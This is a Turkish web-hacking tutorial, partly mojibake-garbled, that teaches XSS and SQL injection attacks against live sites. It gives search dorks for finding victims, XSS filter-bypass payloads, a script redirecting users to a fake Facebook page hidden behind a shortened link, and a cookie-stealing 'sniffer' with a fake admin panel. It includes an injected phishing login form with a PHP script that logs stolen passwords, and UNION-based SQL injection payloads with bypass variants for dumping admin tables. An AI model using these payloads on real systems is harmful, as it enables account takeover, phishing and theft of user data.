Web Güvenlik Açıkları ve Kullanımı (Geniş Anlatım)
-
Upload
mehmet-kelepce -
Category
Internet
-
view
511 -
download
9
description
Transcript of Web Güvenlik Açıkları ve Kullanımı (Geniş Anlatım)
Oumlnsoumlz Merhabalar
Bu makalemizde Web Guumlvenliğini tehdit eden guumlvenlik zafiyetlerini ayrıntılı olarak tanıyacağızAyrıcabypass edilmesinden soumlz konusu accedilığın kullanımından neler yapılabileceğinden ve daha birccedilok şeyden
bahsedeceğim Oumlncelikle şunu belirtmek isterim siber duumlnyada hiccedil bir zaman 100 guumlvenlik diye bir terimyoktur Her ne kadar guumlvenlik oumlnlemi alırsanız alın bir web sitesinin Network ağının veya kendi
guumlvenliğinizi 100 olarak sağlayamazsınız Oumlncelikle Web Applicationrsquos (Web Uygulama) teriminitanıyalım
Web Applicationrsquos Web Uygulamalarının tuumlmuumlnuumln iccedilerisinde bulunduğu bir yapıdır(SQL İnjection XSS (Cross Site Scripting) LFI RFI XSRFCSRF)Biz bu makalede bunları ve bunlar gibi niceuygulamaları ele alacağız Makalemizin sonunda uumlmid ederim ki ilgi alanı web olanolmayan
arkadaşlarımızın ilgisi ve ilimi daha da artarak yuumlkselecektirİlk olarak ana başlıklarımızı ve yanbaşlıklarımızı tanıyalım
XSS
1-Cross Site Scripting Nedir
Kelime manası ldquoCcedilapraz Kod Ccedilalıştırmakrdquo dırTehlikeli bir accedilık olduğu gibi ccedilok basit bir zafiyettirCcedilokbuumlyuumlk sistemlerde bile rastlanabilen bir tuumlrrsquoduumlr
2-Cross Site Scripting Hangi Mantığa Dayalıdır
Web Sayfalarında oturum accedilarken ldquoBeni Anımsardquo ldquoOturumumu Suumlrekli Accedilık Tutrdquo şeklindeseccedileneklerle karşılaşırızBu seccedileneklere tıkladıktan sonra oturum accediltığımızda Sistem tarafındanbilgisayarımıza ldquoCookierdquo diye tabir ettiğimiz kuumlccediluumlk metin dosyaları saklanırBunun sebebi o Web
sayfasına bir dahaki ziyaretimizde bizi tanıması ve bizden giriş iccedilin kullanıcı adı ve şifreistememesidirXSS Accedilığının mantığı da buna dayalıdırBir Web Sayfasında XSS Zaafiyeti bulup o
Web Sayfasına uumlye olan kişilerin oturum bilgilerini yani Cookielerini ccedilalıp Cookie değişikliğine sebepolup hesabı ele geccedilirmektir
3-Cross Site Scripting Accedilığı İccedilin Lazım Olan Metaryeller
Bir Web sayfasında XSS accedilığının olduğunu anlamak iccedilin bize uygun bir tarayıcı lazımBen MozillaKullanıyorumSiz Dilerseniz Opera Kullanabilirsiniz
Accedilığı bulduktan sonra hedef sitenin Admin şifresine ulaşmak istiyorsak bize lazım olacak şey bir XSSSniffer kurmaktırBunu ilerleyen vakitlerde aşağıda goumlreceğiz
4-Cross Site Scripting İle Neler Yapabiliriz
Yukarıda bahsettiğim gibi bir web sitesinde XSS Zafiyeti bulup o web sitesindeki Kullanıcıların veyasite youmlneticisi olan Adminrsquonin Cookielerini ccedilalıp hesabı ele geccedilirebilirizXSS Accedilığı sadece buna
yaramazJavascript kodlarıyla backlink yapabilir yada kurbana sağlam bir Keylogger yedirebiliriz
5-Cross Site Scripting Accedilığı Nerelerde Bulunur
a-) Search Kutularında
XSS accedilığı bir ccedilok yerde bulunabilirEğer bir XSS Accedilığı arıyorsanız sizlere birkaccedil dork verip onunuumlzerinde denemeler yapabilirsinizDork
inurlrdquosearchphpid=rdquo
inurlrdquoindexphpid=rdquo
inurlrdquokayitphpid=rdquo
bu dorklar ccediloğaltılabilir
Search (Arama) Kutularında id= değeri ziyaretccedili defterleri Kayıt Formları Yorum Formları vbyerlerde de bulunabilirBir Search kutusu duumlşuumlnuumln
Search kutusuna XSS accedilığının olup olmadığını anlamak iccedilin bir alert kodu yazalımltscriptgtalert(ldquoBuralar eskiden hep XSS dirdquo)ltscriptgt
Yazdıktan sonra arama butonuna tıklıyoruz Eğer accedilık mevcut ise ekrana bir alert yansıyacaktır şuşekilde
b-) id= Değerinin Bulunduğu Yerlerde
Bir Web sayfası duumlşuumlnuumln wwwhedefsitecomdegerphpid=3 şeklinde olsunId= değerinin sağtarafında bulunan rakam harf kelime veya her ne ise silip onun yerine accedilık olduğunu anlamamız iccedilin
alert kodunu yazıyoruz
wwwhedefsitecomdegerphpid= ltscriptgtalert(ldquoBuralar Eskiden Hep XSS di rdquo)ltscriptgt
Daha sonra bu goumlnderdiğimiz sorgu ile ekrana alttaki şekilde bir alert yansıyorsa accedilık olduğunu tekraranlıyoruz
c-) Ziyaretccedili Defterlerinde (STORED XSS)
Uumlstte goumlruumllen resim bir sitede bulunan ziyaretccedili defteridirZiyaretccedili Defterleri web sayfaları iccedilin ccediloktehlike arz eden yerlerdirBu zaafiyet tuumlruumlne STORED XSS Zaafiyeti denilirBuraya yazdığımız bir
HTML veya Javascript kodu herkez tarafından goumlruumllebildiği iccedilin sayfada ccedilalıştığında ziyaretccedili defterinegiren herkez tarafından sizin girdiğiniz kod ccedilalışacaktırYani gireceğiniz HTML Meta youmlnlendirme kodu
sayfaya giren şahısları hedef adreslere youmlnlendirecektirBu saldırıya biraz daha suumls katmak iccedilinPhising sayfanıza veya Fake sayfanıza youmlnlendirme yapabilirsinizŞimdi burada goumlruumllen kutucuklara
XSS Alert kodunu yazıyoruz
Eğer accedilık varsa sayfa bizim kodumuzu ccedilalıştıracaktırYani ekrana alert gelecektir
d-) Kayıt Formlarında
Kayıt Formları XSS Accedilığı iccedilin olanak sağlıyorKayıt Formları genellikle Forum sitelerdemevcutturForum siteleri ccediloğunluk olarak hazır sistem kullanırlar(MyBB Vb SMF vs vs)
Eğer bir forumda hazır sistem kuruluysa veya suumlruumlm olarak belirli bir suumlruumlmuuml varsa ki genelde olurExploit sitelerinden O sistemin suumlruumlmuumlnuuml araştırabilir XSS Accedilıkları mevcutsa Exploit yardımıyla accedilığısoumlmuumlrebilirsinizBiz sistem kullanılmayan bir forum sitesinden devam edelim ) Uumlstte goumlruumllduumlğuuml gibi birkayıt formu mevcutBuradaki kutucuklara tıpkı ziyaretccedili formlarındaki gibi XSS Alert kodlarımızı entegre
ediyoruzEğer accedilık mevcutsa alert alınır
e-) Yorum Formlarında
Bu şıkkımızı Cyber-Warriorrsquodan alıntı yaparak anlatayım
Goumlruumllduumlğuuml gibi bir konun altında mevcut olan yorum yazma texti
Burada Mesaj text boumlluumlmuumlne XSS Alert kodumuzu yazıyoruz
Evet XSS Alert kodumuzu da yazdıktan sonra cevap yaz butonuna tıklıyoruzEğer ki XSS Accedilığıolsaydı alert alacaktıkKonuya giren kişiler tarafından da goumlruumllecektiYani bu kod onlar konuya girildiği
esnada ccedilalışacak ve onlara da alert verecektiBuraya ben XSS Alert kodu değil de Fake sayfamayoumlnlendirmesi iccedilin bir kod yazsaydım konuya giren kişiler benim belirlediğim adrese youmlnlenecektiAma
oumlyle bir accedilık olmadığı iccedilin CW lsquode başka kapıya ))
6-Saldırı Anı (Accedilığın Bulunması) - Accedilığın Bypass Edilmesi(Engellerin Aşımı)
Bir Web Sayfası duumlşuumlnuumln wwwhedefcomindexphpid=
XSS Accedilığı arayalım hemen wwwhedefcomindexphpid= ltscriptgtalert(ldquoMahserrdquo)ltscriptgt
Yaptık Ekrana alert yansımadıPesmi edeceğiz Hayır tabi ki deHerşeyin bir yolu olduğu gibibununda bir yolu varNormal şartlarda bu sitede accedilık olduğunu duumlşuumlnuumlnAma bize alert vermediBizde
bu accedilığı bypass ederek ekrana alertrsquoımızı alacağızNasıl mı
a-) HTML Bypass Code
Evet ilk bypass youmlntemimizde ltscriptgtalert(ldquoMahserrdquo)ltscriptgt Alert kodumuzu HTML Encodeedecez yani ŞifreleyeceğizHemen bakalım
Ne Yaptık HTML Encoder ile kodumuzu şifreledikŞimdi bu şekilde accedilık analizi yapalım
wwwhedefcomindexphpid= ltscripttype=textjavascriptgtdocumentwrite(rsquou007Fu003Cu0073u0063u0072u0069u0070u0074u003Eu0061u006Cu0065u0072u0074u0028u0022u004Du0061u0068u0073u0065u0072u0022u0029u003Bu003Cu002Fu0073u0063u0072u0069u0070u0074u003Ersquo)ltscriptgt
Bu sefer ekrana alert yansıdığını goumlreceksiniz
b-) Bypass JavaScript Code
Evet bu şıkkımızda ise Javascript kodlarıyla oynayarak bypass youmlntemini gerccedilekleştiricezTekrarhedef site uumlzerine yoğunlaşalım
wwwhedefcomindexphpid= ltscriptgtalert(ldquoMahserrdquo)ltscriptgt
Şeklinde giriyoruzAlert alamadıkHemen kodlarla oynayalım farkı goumlrelim
Evet kodumuzla oynadık tekrar hedef site uumlzerinde accedilık analizi yaptığımızda alert alacağız
c-)Normal Bypass
Sıra Geldi Normal Bypass YolunaBu bypass tuumlruumlnde alert kodumuzla pek oynamayapmayacağızAlert kodumuzun başına bir muumldahalede bulunarak alert alacağız
Evet bu şekilde de farklı bir bypass youmlntemi uyguladıkBurada ki ldquogt kodu daha anlaşılır ve koda netlikkatarBu yolla da bir alert aldıkSıra geldi accedilığın uygun kullanımına
7-Saldırı Anı2 (Accedilığın Uygun Kullanımı) -
Cross Site Scripting accedilığını bulduktan sonra en oumlnemli faktoumlrlerden birisi de accedilığın uygunkullanımıdırAccedilığı ne kadar iyi soumlmuumlruumlrseniz sizin iccedilin o derece iyidirXSS Accedilığının sadece site
hacklemek iccedilin değil Siteye uumlye kişilerin bilgilerini almak iccedilin hesapları ele geccedilirmek iccedilin veya bir
kurbana phising fake benzeri sayfalar yutturmak iccedilin de kullanabilirsinizBiz bu sefer XSS Accedilığınıkurbanı fake facebook sayfamıza youmlnlendirmek iccedilin kullanacağızHemen başlıyoruz
Hedef sitemiz wwwtargetcom olsunAccedilığı bulduğumuz dosya homephp dosyası olsun ve veriyi idile ccedilagırsın wwwtargetcomhomephpid= şeklinde
Şimdi biz buraya oumlyle bir kod yazağız ki bizi hazırladığımız fake facebook sayfasına youmlnlendirsin
Yazacağımız kod şu şekildedir
wwwtargetcomhomephpid=gtltscriptgtdocumentlocationhref= wwwfakefacebooksayfamcomltscriptgt
Evet sorguyu site uumlstuumlnde ccedilagırdığımız da bizi wwwfakefacebooksayfamcom adresineyoumlnlendiricektirBunu kurbana atacaksınızFakat link ccedilok uzun kurbanımız burada bir şeytanlık
olduğunu anlayabilirPeki ne yapacağız httpsbitlycom adresine giriyoruzSağ uumlst koumlşede birkutucuk mevcutO kısma wwwtargetcomhomephpid=gtltscriptgtdocumentlocationhref=
wwwfakefacebooksayfamcom ltscriptgt
adresimizi yazıyoruz ve Shorten butonuna tıklıyoruz Burada yaptığımız işlem link kısaltmaktır
Bize httpbitly49856821 Şeklinde bir kısaltılmış link verecekKurban link kısa olduğu iccedilinşuumlphelenmezBu şekilde kurbana yedirme şansımız vardır
8-Saldırı Anı3 (Uygun Sniffer YazılımıSniffer Nedir)
Sniffer Nedir
Sniffer kelime manasıyla koklayıcı anlamına gelirSniffer birccedilok şeyi iccedilin kullanılabilirBiz burada XSSSniffer hazırlayacağızXSS Sniffer ne işe yarar diye soracaksınızBir XSS Accedilığı bulduğumuzu farzedelimAdmin in veya Siteye uumlye olan kullancıların Cookiersquolerini Ccedilalıcaz ve Kendi cookielerimizle
değiştirip o kullanıcı adına giriş yapmış olacağızBulduğumuz accedilığı Snifferrsquoa kuracağızDaha sonrakendi hostumuza atacaz ve snifferrsquoı kurbanrsquoa tıklatacağızBu Şekilde Kurbanın Cookielerini
ccedilalacağızYani biraz olsa da Sosyal Muumlhendislik ile alakalıdır
İşleme başlamadan Sniffer dosyalarını vereyim sizlere
Bu linkten ulaşabilirsiniz - gt httpswwwboxcomsd45q4d5ywdzxwcn7n7wn
Hemen kuruluma geccediliyoruz
Editleyeceğimiz dosyalar ldquochjs ve indexhtml ilk olarak chjs dosyasını accedilıyoruz
httpSİTE ADRESİSniffersnifferphpc= Şeklinde bir yazıyla karşılaşıyoruz SİTE ADRESİ yazankısma dosyaları atacağımız sitenin adresini yazıyoruz(Sniffer dosyası adı altında)
httpbenimsitemcomSniffersnifferphpc= kaydedip kapatıyoruz
Şimdi ise indexhtml dosyamızı editleyeceğiz Notepad de accediltığınızda httpXSS ADRESİ= şeklindebir yazıyla karşılaşacağızXSS Adresi yazan kısma XSS Accedilığını bulduğumuz siteyi yazalım
httptargetcomindexphpid= yazdıktan sonra biraz sag tarafta bulunan httpSİTEADRESİSnifferchjs
SİTE ADRESİ yazan kısmada uumlstte olduğu gibi kendi sitemizin adini yazıyoruz
httpbenimsitemcomSnifferchjs yazdıkKaydedip kapatıyoruz
Daha sonra sniffer klasoumlruumlmuumlzuuml sitemize FTP aracılığıyla atıyoruzHemen kendi sitemizdeccedilalıştırıyoruz snifferımızı httpbenimsitemcomSnifferlogphp şeklinde log panelimizi ccedilağırıyoruzBu
adres cookielerin log olarak tutulacağı adresdirGiriş yaptığımızda bizden Kullanıcı adı şifreisteyecektirKullanıcı adı admin şifresi adminrsquodir
Girdikten sonra bizi log paneline aktaracaktırAccedilığı bulduğumuz siteden bir kurbana veya adminrsquoe linkitıklatmadığımız iccedilin Log panelinde ldquoHenuumlz Log bulunamadırdquo şeklinde bir yazı ccedilıkacaktır
Bizim adminrsquoe tıklatmamız gereken link indexhtml dosyasıdırYanihttpbenimsitemcomSnifferindexhtml lsquodirBuraya girdiğiniz de bir admin paneli gelecek
karşımızaBu admin panelini sahte bir admin panelidirYani adminrsquoin anlamaması iccedilin kurulmuş birpaneldirSizin yapacağınız sadece adminrsquoe veya kurbana httpbenimsitemcomSnifferindexhtml
linkini tıklatmaktırBiraz sosyal muumlhendislik gerekiyor burada tıklatmak iccedilinTıklattıktan sonra adminrsquoinveya kurbanın cookie bilgileri
httpbenimsitemcomSnifferlogphp adresine gelecektir
9-Sonuccedil (Elimize Geccedilen Cookie (Ccedilerez)rsquoi Değiştirme ve Hedef Veriye Ulaşmak)
Cookieleri ccedilektik Cookiersquoler elimizdeCookielerin son satırında Username ve Password kısmıbulunmaktadırYani şu şekilde
[Username]= admin UserİnfoCookie[Password]= mahserat
Evet goumlruumllduumlğuuml gibi kullanıcı adı admin şifresi de mahserat mışBu şekilde Adminin BilgilerinedeErişmiş olduk
10-Cross Site Scripting Accedilığı Olan Bir Siteye Fake Login Sayfası Bırakmak
Son olarak XSS Accedilığı bulduğumuz bir siteye Fake bir Login sayfası bırakacağız
Accedilığı bulduğumuz link wwwsitecomindexphpid= olduğunu farz edelimBuraya HTML kodlarıyla birLogin Kısmı oluşturucağız
wwwsitecomindexphpid= gtlthmtlgtltheadgtltmeta content=texthtmlcharset=ISO-8859-1http-equiv=content-type gtlttitlegtlttitlegtltheadgtltbOdygtltdiv style=text-aling
centergtltform method=POST action=fakesayfaphp name=formgtFake Login ltbrgtltbrgtKullanıcıadıltbrgtltinput type=text value= gtltbrgtSifreltbrgt ltinput name=Pass type=password
gtltbrgtltbrgtltinput name=valid value=Gonder type=submit gtltbrgtltformgtltdivgtltbOdygtlthtmlgt
Bu Şekilde bir HTML Kodu enjekte ettik siteyeFake bir Login kısmı uumlrettikfakesayfaphp dosyasınadikkat edelim arkadaşlar
fakesayfaphp
ltphp
$login = $_POST[rsquologinrsquo]
$password= $_POST[rsquoPasswordrsquo]
$open = fopen(rsquologhtmrsquo rsquoa+rsquo)
fputs($open rsquoLoginrsquo $login rsquoltbrgtrsquo rsquo
Password rsquo $password rsquoltbrgtrsquo rsquoltbrgtrsquo)
gt
fakesayfaphp dosyası loghtm dosyası oluşturuyorLoglarımızı tutuyor
Evet arkadaşlar artık XSS lsquoi ayrıntısına kadar oumlğrendiniz
SQL İnjection1- SQL İnjection Nedir
SQL (Structured Query Language)
SQL İnjection duumlnya uumlzerinde en ccedilok ilgi goumlrev Web Uygulama zaafiyetidirSitelerdeki SQLveritabanına odaklı bir saldırı ccedileşididirKaba tabirle SQL veritabanının ccedilalıştıracağı SQL komutlarıylaSQL İnjection zaafiyeti bulunan bir sitedeki veri geccedilişini kullanarak kendi mevfaatlerimiz ccedilerccedilevesindehedef veriyi ccedilalmak iccedilin kullanılır
2- SQL İnjectionrsquoun Mantığı Nedir
Deminde bahsettiğim gibi SQL Veritabanı odaklı bir zaafiyet olduğu iccedilin direk veritabanıyla ilgilisaldırılar yapılırYani bize gerekli olan biraz SQL Komutu bilmektirAkılda kalıcılık accedilısından komik biroumlrnek vereyim
Bir HEDİYE kutusu varO hediye kutusunun iccedilerisinde hediyenin olduğunu duumlşuumlnelimKutuyu accediltınızve baktınız ki iccedilerisinde bir kutu daha varOnu da accediltınız onun iccedilerisinde de bir kutu var onu da accediltıktansonra son kutumuza geliyoruzO kutunun iccedilerisinde hediye yani hedef verimiz mevcuttur )
İlk kutuyu tablo olarak İkinci kutumuzu tablo iccedilerisindeki kolon olarak Uumlccediluumlncuuml kutumuzun iccedilerisindekihediyeyi de hedef veri olarak goumlrebilirizYani iccedil iccedile geccedilmiş bir yapı olarak hayal edebiliriz
3- Temel SQL Komutlarını Tanıyalım
SQL İnjection saldırısında bulunurken ne kadar SQL Komutunu tanıyorsanız o kadar iyidirCcediluumlnkuumlSQL İnjection saldırısını yaparken SQL Komutlarını kullanırız
SELECT - Veri seccedilmek iccedilin
CREATE - Tablo yaratmak iccedilin
INSERT - Tablo eklemesi yapmak iccedilin
UPDATE - Veri guumlncelleme
DELETE - Veri silmek
DROP - Tablo silmek
FROM - (- den - dan beri )
WHERE - Nereden neresi nerede
Kısacak bu komutlarla SQL İnjection saldırısını geccedilekleştireceğizBunları bilmekte fayda var
4- SQL İnjection ile Neler Yapılabilir
SQL İnjection saldırısı ile veri silebilir ekleyebilir değiştirebilirizBunları yapmak iccedilin sistemde birkaccediliznimizin olması gerekiyorYani sistem bize veri silme ekleme yetkisi vermiyorsa biz zaten bunlarıyapamayızSQL İnjection saldırısı ccediloğunlukla hedef sistemin youmlnetici şifresini ele geccedilirerek sistemeyoumlnetici gibi giriş yapıp sistemi hacklemek iccedilin kullanılırAma ne yazık ki SQL İnjection saldırısı ileyapabileceklerimizin sadece bunlarla sınırlı olmadığını uumllkemizdeki ccediloğu kimse bilmiyorGeccedilenlerde biryerde okumuştum onu da sizlerle paylaşayımYabancı uumllkede bir Hacker buumlyuumlk bir sisteminde SQLİnjection accedilığı bulmuşDaha sonra veritabanın da ki tuumlm kredi kartı bilgilerini ccedilalmışToplam olarak kaccedilkredi kartı ccedilaldığını bilmiyorum ama ccedilok yuumlkluuml miktarda mevla kaldırmışAma biz tabii ki Dinimizingereğince haram para ve kazanccedilta goumlzuumlmuumlz yokHaram olan bir kazancın bize yararıdokunmayacağını biliriz
5- SQL İnjection Accedilığı Nerelerde Bulunabilir Belirli Bir Dorkrsquou Varmıdır
SQL İnjection ccedilok geniş kapsamlı ve ccedilok tehlikeli bir accedilıktırTuumlm sistemlerde rastlanabilen bir accedilıktır
SQL İnjection saldırılarının id= değerlerinin bulunduğu sitelerde Search (Arama) kutucuklarındaformlarda vs yerlerde bulunabilirYani veri alışverişinin yapıldığı her yerde bulunabilirSize başlangıccediliccedilin bir Dork vereceğimDorkrsquou Googlersquoda arattığınızda karşınıza bir suumlruuml site gelecekBu sitelerde iddeğerinin bulunduğu yerlerde SQL İnjection accedilığı araması yapabilirsiniz
Dork inurlrdquophpid=rdquo sitesy -gt bu dorkta şunu dedik(Suriye) Sy sitelerinde phpid= değerininbulunduğu siteleri goumlsterSQL İnjection saldırısına aşağıda değineceğiz
6- Ccedileşitli Yerlerde SQL İnjection Saldırısı Yapmak
Yukarıda da bahsettiğim gibi SQL İnjection saldırısını birccedilok yerde yapabilirizŞimdi bu accedilığı iyice birtanıyalım
a-) SQL İnjection Accedilığı Nasıl Tespit Edilir (Tipik SQL İnjection Hatası)
Bir Web Site duumlşuumlnuumln wwwsitemcomsayfaphpid=1 şeklinde
Burada SQL Accedilığının olup olmadığını id= değerinin sol tarafındaki değerin sonuna veya değerinbaşına lsquo veya lsquoa koyarak anlayabilirizYani linkimizin son şekli
wwwsitemcomsayfaphpid=1rsquo veya wwwsitemcomsayfaphpid=1rsquoa şeklinde oluyor
Eee tamam ben aynı şekilde yaptım accedilık olduğunu nasıl anlayacağım
SQL Accedilıklarını Tipik olarak bize verdiği hatadan anlarızYani hatalar SQL İnjection ccedileşitlerine goumlredeğişkenlik goumlsterebiliyorBiz şuanda normal bir SQL Accedilığının nasıl bulanacağına yoğunlaşalım
Oumlrnek bir SQL İnjection hatası
Evet lsquo koyduktan sonra bu hatayı alıyorsak burada SQL İnjection accedilığı olduğunu kavrıyoruz
b-) Search Kutularında SQL İnject Accedilığı Aramak
Search Arama kelimesinin ingilizce kavramıdırŞimdi sitelerdeki Search kutularında SQL Accedilığıarayacağız
Search kutucuğu goumlrduumlğuumlnuumlz yerlere lsquo - lsquoa gibi işaretleri yapıp ara butonuna tıklıyoruzEğer ekrandatekrardan bir SQL İnjection hatası alıyorsanız Search dosyasında accedilık olduğunu anlıyoruz
c-) Kayıt Formlarında SQL İnject Accedilığı Aramak
Kayıt formlarının siteler iccedilin ccedilok tehlike arz eden kısımlar olduğundan bahsetmiştikYukarıda daXSS accedilığının nasıl aranacağında goumlrmuumlştuumlkHemen SQL Accedilığının nasıl aranacağına bakıyoruz
Evet goumlruumllduumlğuuml uumlzere tuumlm textrsquolere lsquoa yazılmışDaha sonra Goumlnder Butonu veya kayıt ol butonu varsatıkladığımızda bizim karşımıza tekrar SQL Hatası geliyorsa kayıt dosyasında accedilık olduğunu anlarız
d-) İD Değerinin Bulunduğu Sitelerde SQL İnject Accedilığı Aramak
Şimdi İD değerinin bulunduğu yerlerde SQL Accedilığı aramayı goumlreceğizİD değeri değişkenlikgoumlsterebilirSiteyi kodlayan Coder kardeşimiz Veri alışverişinde İD değeri yerine cat= s= i= q= vsdeğerler koyabilirYani bu Coder kardeşimizin elinde olan bişeydirBiraz farklılık accedilısından ben şuan İDdeğeri yerine cat= değerini kullanarak SQL Accedilığı arayacağım
Evet goumlruumllduumlğuuml uumlzere cat= ile alınmış bir veriVeri numarası 9 muş
Goumlrduumlğuuml gibi değerde bir accedilık soumlz konusu
e-) Ziyaretccedili Defterinde SQL İnjection Accedilığı Aramak
Ziyaretccedili Defterleri Hackerlar iccedilin bir nimet sayılabilir(Guumlvenliğin sağlanmaması durumunda)
Şimdi bir ziyaretccedili defterinde SQL Accedilığı arayalımZiyaretccedili Defterinin tuumlm text kutularına lsquo veya lsquoaişaretlerinden birini koyuyoruz
ŞeklindeGoumlnder butonuna bastığınızda eğer bir SQL Hatasıyla karşılaştıysanız burada bir SQLAccedilığının olduğunu anlarsınız
7-Saldırı Anı(SQL Accedilığının Tespiti)
Bir Web Sayfası duumlşuumlnuumln
wwwsayfamcomdosyaphpid=2 olsunBurada accedilık tespiti yapalım hemen
wwwsayfamcomdosyaphpid=2rsquo Koyduk hata aldıkYani bir SQL Accedilığı soumlz konusuŞimdi SQLAccedilığını aldık ama ne yapacağımızı bilmiyoruz Yapacağımız işlem ccedilok basit
8-Saldırı Anı2(Kolon Sayısı Oumlğrenmek Kolon Sayısı Nedir Neye Yarar)
Evet accedilık tespitini yaptıkŞimdi kolon sayısını bulacağızAma oumlncesinde Kolon sayısı nedir neye yararbir goumlz atalım
Veritabanındaki sutuumlnlara kolon (column) denirİccedilerisinde verileri barındırırPek accedilıklamaya gerekyokSQL Programlama dilini oumlğrenecek arkadaşlar ayrıntıları zaten oumlğrenecektirler
Evet accedilığın olduğu sitemiz wwwsayfamcomdosyaphpid=2rsquo idiŞimdi ORDER BY Komutu ileKolon sayısını oumlğrenelim
wwwsayfamcomdosyaphpid=2+order+by+1 yapıyoruzSayfa eski haline geri doumlnduuml
wwwsayfamcomdosyaphpid=2+order+by+10 yapıyoruzEkrana
Şeklinde bir hata geldiYani burada bize kolon sayısının 10 lsquodan kuumlccediluumlk olduğunu soumlyliyorHemen birbir aşağı iniyoruz
wwwsayfamcomdosyaphpid=2+order+by+9 yaptıkSayfa tekrar aynı hatayı verdi
wwwsayfamcomdosyaphpid=2+order+by+8 yapıyoruz sayfa duumlzeldiYani Kolon sayısı 8rsquomiş
Dipnot Eğer order+by+8 yaptığınızda ekrana birşey yansımıyor veya sayfa duumlzelmiyorsa link sonuna-- veya --x +-- şeklinde işaretler koyarak net sonuccedillar alabilirsiniz
9-Saldırı Anı3(Ekrana Kolon Sayısını Yansıtma - Aksi Halde Bypass)
Evet kolon sayımızı oumlğrendikKolon sayımız 8rsquomişŞimdi ekrana kolonları yansıtacağızDaha sonraekrana yansıyan kolonlardan işlemlerimize devam edeceğizKolon sayılarını yansıtma işlemini UNIONSELECT komutları ile yapıyoruzHemen başlayalım
Oumlrnek wwwsayfamcomsayfaphpid=2+union+select+ kolon sayılarımız-- şeklinde hemenyapalım
wwwsayfamcomsayfaphpid=2+union+select+12345678-- yazdıkSayfamıza 12345678sayılarından hangileri yansıdıysa o sayılardan birini seccediliyoruz ve o sayı ile devam edeğiz
-Bypass Yukarıda ekrana kolon sayılarını yansıtmıştıkEkrana kolonların yansımadığını farzedelimBurada devreye bypass giriyorBypassrsquoın net bir tanımı yokturAma bu şekilde saldırılaryaptığımızda bizim karşımıza ccedilıkan engelleri bazı yollarla aşmanın genel ismidir bypass
Şimdi wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde yazdık ekrana kolonyansımadıBypassrsquoı devreye sokacaz hemen
wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde ifadesinikullanarak bypass ediyoruzBu şekilde genelde ekrana kolon sayısı yansırAma bununda faydaetmediği yerler oluyorO Vakit
wwwsayfamcomsayfaphpid=2+union+(select+12345678--) veyawwwsayfamcomsayfaphpid=-2+union+select+12345678-- yapıyoruzBu genelde faydaeder ama bunuda kabul etmediği zamanlarda şunları yapabiliriz
wwwsayfamcomsayfaphpid=-2+UnIon+SeLeCt+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678-- şekillerindede bu hatalarıaşmamız muumlmkuumlnduumlrBununla ilgili Web Guumlvenlik Accedilıkları boumlluumlmuumlnde yeterince konum mevcuttur
Şimdi bakalım ekrana yansıyan kolonlara OumlR 2 ve 7 sayıları yansımışBundan sonraki tuumlmişlemlerimizi bu 2 ve 7 sayıları uumlstuumlnden gerccedilekleştireceğizYani yansılan kolonlar uumlzerinden
10-Saldırı Anı4(Tablo İsimlerini Ccedilekmek - Aksi Halde Bypass)
Ekrana nasıyan 2 ve 7 kolonları uumlzerinden devam ediyoruz
Oumlnce Group_Concat Fonksiyonunu tanıyalım
Bu fonksiyon sorgumuz sitede elde ettiğimiz verileri birleştirmeye yarar Oumlrneğin veritabanındakullanıcı adı ve şifre iki ayrı kolonda tutuyorsak bu fonksiyon aracılığı ile birleştirip doumlnduumlrebilirizŞimdibiz kolon sayılarında 2 yi seccedilip 2 uumlzerinden işlem yapalım
wwwsayfamcomsayfaphpid=-2+union+select+1database()345678-- Şeklinde bir sorgugoumlnderdiğimizde sitemizdeki database (Veritabanı) ismini oumlgreniyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1version()345678-- Şeklinde bir sorguda isebize MySql Veritabanırsquonın Versiyonunu verirBunu version şeklindede sorgulayabilirsinizŞimditabloları ccedilekelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables--
Şeklinde bir sorgu goumlnderdikPeki biz burada ne dedik
table_name = Tablo isimleri
information_schema = MySql Veritabanındaki INFORMATİON_SCHEMA adlı veritabanındakitabloların kolonların isimlerini veriri
information_schematables = INFORMATİON_SCHEMA Adlı veritabanındaki tablo isimlerini bizeverir
information_schemacolumns = INFORMATİON_SCHEMA Adlı veritabanındaki kolon isimlerini bizeverir
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--
table_schema=database() = Bu sorguda bize sadece sitenin veritabanındaki tabloları vermesiniisteriz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--
Şeklinde bir sorgu goumlnderdiğimizde bize veritabanındaki tablo isimlerini verecektirBuradaki komutlarıiyi tanımanızı tavsiye ederim
Ekrana yansıyan tablo isimlerine bir bakalım
adminresimleradreslerhizmetler vs vs olsun
bize burada lazım olacak tabloyu seccediliyoruz admin
Şimdi biz bu komutu sorgu olarak siteye goumlnderdikAma ekrana tablo isimler yansımadı neyapacağız
Burada gene araya bypass giriyorŞimdi sorguda vurgulanan yer neresidir Tablo isimleri
Şimdi sorgudaki tablo isteklerinde bir değişiklik yapıyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(TaBlE_Name)345678+from+information_schemaTabLeS+where+TaBLeS_schema=database()--
Şeklinde değişikliğimizi yapuyoruzEkrana tablo isimlerimizin yansıdığını goumlreceksiniz
Bu Şekilde de yansımadığını farz edelimBurada database() fonksiyonunu hexleyelim (Hex birşifreleme tuumlruumlduumlrMozillarsquonın Hackbar Eklentisinde Hex hizmeti mevcuttur)
Hexlenecek isim database()
Hexlenmiş Hali 64617461626173652829
Yanlız şunu unutmamak gerekirHexlediğimiz tuumlm değerlerin başına 0x koymamız gerekirYani sonhali şudur 0x64617461626173652829 Şimdi tekrar ccedilekelim tablolarımızı
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(column_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=0x64617461626173652829--
Sorguyu goumlnderdiğimizde tabloların yansıdığını goumlreceksinizBu Hex taktiğini kolonlar uumlzerindedeyapabilirsiniz
11-Saldırı Anı5(Tablolardan Hedef Veriyi Ccedilekmek - Aksi Halde Bypass)
Evet tablo isimlerini ekrana yansıttık istediğimiz bir tabloyu seccediltikTablo ismimiz admindi
